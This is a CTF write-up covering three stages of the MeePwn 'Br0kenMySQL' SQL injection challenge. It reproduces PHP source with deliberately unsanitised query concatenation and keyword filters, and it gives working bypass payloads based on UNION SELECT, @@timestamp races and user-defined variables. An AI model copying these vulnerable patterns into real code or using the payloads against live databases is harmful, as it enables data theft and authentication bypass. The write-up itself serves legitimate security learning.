This was a three-stage SQLi challenge we solved during the MeePwn CTF. Shout-out to Sceptic, who solved the first stage and told me to look at the next one.

Br0kenMySQL

100 pts

BabeTrick


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require 'config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];

    if($username === 'guest'){

        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
            die(FLAG);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }
?>

As you can see, we want the first query to return guest and the second query to return admin. The admin ID was 1 and the guest ID was 2, and between the queries there was another injection point in an INSERT query. For all injections we had to bypass the following filter:

1
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))

Sceptic solved this by injecting -1 UNION ALL SELECT IF("wii" = (select ip from logs where ip="wii"),"admin", "guest") and setting the X-Forwarded-For header to “wii”. By doing so, he first selected guest, then inserted the “wii” IP so the second query would return admin.

1
2
3
4
What ???????
Login as guest&admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

Br0kenMySQL v2

Ok, seems I got the root cause break my things.

Try it again… I fixed it a little bit


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require '../config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];

    if($username === 'guest'){

        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What, again ???????!@#$!@#$!@#$\n";
            die(FLAG_2);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }




?>
</h1>
</pre>

This is where I started looking at the challenge. V2 is basically the same, but the filter changed a bit:

1
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))

I’ve done some similar challenges before, so I had a good idea of what to do. I injected @@timestamp *1000000 %3, which would return 0, 1, or 2 depending on the current time. Now I just refreshed the site until I got lucky and the time changed between the first and second query. Notice that injecting into the X-Forwarded-For header is not needed here.

1
2
3
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

Br0kenMySQL v3

We don’t keep our words, but looks like someone wanna play more. So this is the last one challenge, for real. To get a link challenge of this version 3, you need to solve v2 again, then it will print the link out. Thank you. Happy hacking!


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require '../config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];
    
    if($username === 'guest'){
        sleep(5); // wait
        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What, again ???????!@#$!@#$!@#$\n";
            echo "Last one, promise!\n";
            die(FLAG_3);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }




?>
</h1>
</pre>

Same thing as before, log in as guest and admin and this time bypass the following filter:

1
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))

Again, we don’t need the second injection, just some creative use of user-defined variables. Final payload was ?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end

1
/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=case+when+@wurst+is+null+then+@wurst:=2+else+@wurst:=@wurst-1+end
1
2
3
What, again ???????!@#$!@#$!@#$
Last one, promise!
MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}

All together this was a nice set of SQLi challenges.